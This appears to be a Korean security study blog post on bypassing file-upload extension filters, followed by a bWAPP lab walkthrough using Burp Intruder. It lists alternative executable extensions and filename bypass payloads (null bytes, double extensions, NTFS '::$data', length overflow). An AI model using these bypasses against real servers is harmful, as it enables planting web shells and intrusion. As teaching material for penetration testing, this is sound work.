파일 업로드 취약점 확장자명으로 우회 하는 방법
다른 버전으로 우회하는 방법
PHP: .php, .php2, .php3, .php4, .php5, .php6, .php7, .phps, .phps, .pht, .phtm, .phtml, .pgif, .shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module
Working in PHPv8: .php, .php4, .php5, .phtml, .module, .inc, .hphp, .ctp
ASP: .asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml
Jsp: .jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action
Coldfusion: .cfm, .cfml, .cfc, .dbm
Flash: .swf
Perl: .pl, .cgi
Erlang Yaws Web Server: .yaws
그외 다른 방법
1. 대소문자를 이용한 방법
파일 확장자명을 대소문자와 섞어서 우회를 피한다.
[예시]
파일이름.pHP2
파일이름.CshTm
2. 유효한 확장자를 쓰고 실행할 확장자 쓰기
[예시]
파일이름.png.php
파일이름.png.php5
3. 특수문자를 끝에 추가하기
[예시]
파일이름.php%20
파일이름.php.%0a
파일이름.php.%00
파일이름.php.%0d%0a
파일이름.php/
파일이름.php.\
파일이름.
파일이름.php….
파일이름.pHP5…..
4. 실행할 확장자에 서버사이드 언어에서 사용되는 주석처리,null 데이터 등을 쓰기
[예시]
파일이름.png.php
파일이름.php.pHp5
파일이름.php#.png
파일이름.php%00.png
파일이름.php%0a.png
파일이름.php%0d%0a.png
파일이름.phpJunk123png
5. 확장자의 층(another layer of extension)을 감시하는 부분전에 넣기
[예시]
파일이름.png.jpg.php
파일이름.php%00.png%00.jpg
6.exec 확장자를 실행할 확장자 이전에 넣고 서버오류로 인해 실행되기를 기도하기
php 확장자로 아파치 서버 공격하는데 유용하게 쓰인다.꼭 php 확장자가 아니여도 된다.
7. 윈도우에 NTFS ADS(aleternate data stream)를 이용하기
윈도우에서 NTFS 대체 데이터 스트림(Alternate Data Stream, ADS)을 사용하는 경우, 금지된 확장자 뒤에 허용된 확장자 앞에 콜론 문자 ":"이 삽입된다. 이로 인해 서버에 금지된 확장자를 가진 빈 파일이 생성된다(예: "file.asax:.jpg"). 나중에 이 파일은 다른 기술을 사용하여 편집될 수 있다. 예를 들어 해당 파일의 짧은 파일 이름을 사용하는 방법 등이 있다. "::$data" 패턴도 비어 있지 않은 파일을 생성하는 데 사용될 수 있다. 따라서 이 패턴 뒤에 점 문자를 추가하는 것이 추가적인 제한을 우회하는 데 유용할 수도 있다
[예시]
"file.asp::$data.
8. 파일 이름을 최대치 넘기기
파일이름을 검사하는 길이 다음으로 쓰고 나면 실행이 된다.
# Linux maximum 255 bytes
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # minus 4 here and adding .png
# Upload the file and check response how many characters it alllows. Let's say 236
python -c 'print "A" * 232'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
# Make the payload
AAA<--SNIP 232 A-->AAA.php.png
실습 환경설정
bwapp을 이용하여 실습을 들어간다.
보안 레벨 설정은 midium 으로 설정을 해둔다.
midum 레벨에서는 일반적인 php 파일을 업로드 할시 실패가 되는 단계이다
실습
실습에 이용할 webshell 파일은 시스템을 건드리는 웹쉘 파일이 아닌 그냥 info 정보만 호출되는 php 파일로 할것이다.
왜냐하면 실무에서 웹쉘을 올려놓고 지우는것을 까먹거나 테스트 도중에 블랙 해커가 해당 파일을 통해 악용될수 있기때문에 이를 방지하기 위해 정상적인 php 파일이 업로드가 되는지 정도의 파일로 실습을 진행한다.
phpinfo()는 php 파일 버전 정보와 그외 php 관련 정보들을 확인할 수 있는 파일이다.
burpsuite을 실행을 시키고 프록시를 킨다.
browse 버튼을 통해 실습할 php 파일을 업로드를 한다.
그리고 upload 버튼을 누르면 프록시에 잡힌다.
프록시에 잡힌 내용을 다음과 같이 확인할 수 있다.
잡힌 프록시를 마우스 우클릭을 통해 Intruder에 보낸다.
그리고 확장자를 바꿀수 있게 확장자 부분에 블록지정을 하고 add 버튼을 누른다
payload 탭으로 이동하여 payload 세팅을 한다
payload type은 simple list로 하고 (디폴트 설정)
payload settings에서 다양한 확장자 명을 추가한다.
세팅이 완료가 되었다면 공격을 시작하면 된다.
response에 render탭에 들어가면 업로드가 성공한 것을 확인할 수 있다.
bee-box 서버에서 확인을 해보면 파일이 업로드 된것을 확인할 수 있다.
실습 완료.
Intruder 문제
payload 리스트에 내용들이 자동으로 인코딩이 되어서 실행이 된다.
이게 security level이 midium일때는 문제가 안되지만 high로 설정할때는 문제가 된다.
레벨을 high로 설정을 한다.
파일 확장자 명에 #을 붙여서 서버사이드쪽에서 주석으로 인식을 해서 업로드가 성공이 되는 단계이다.
Intruder 단계에서는 인코딩을 한상태로 업로드가 된다.
서버사이드에서 인코딩된 문자는 #으로 받아들이지 못해서 업로드에 실패를 하게 된다.
참고
https://book.hacktricks.xyz/pentesting-web/file-upload
'보안 > 기초' 카테고리의 다른 글
xss cheatsheet (0) | 2024.10.30 |
---|---|
time base sql injection (0) | 2024.01.14 |
blind SQL injection (1) | 2024.01.14 |
Error based SQL injection (0) | 2024.01.13 |
TCP vs UDP (0) | 2023.11.14 |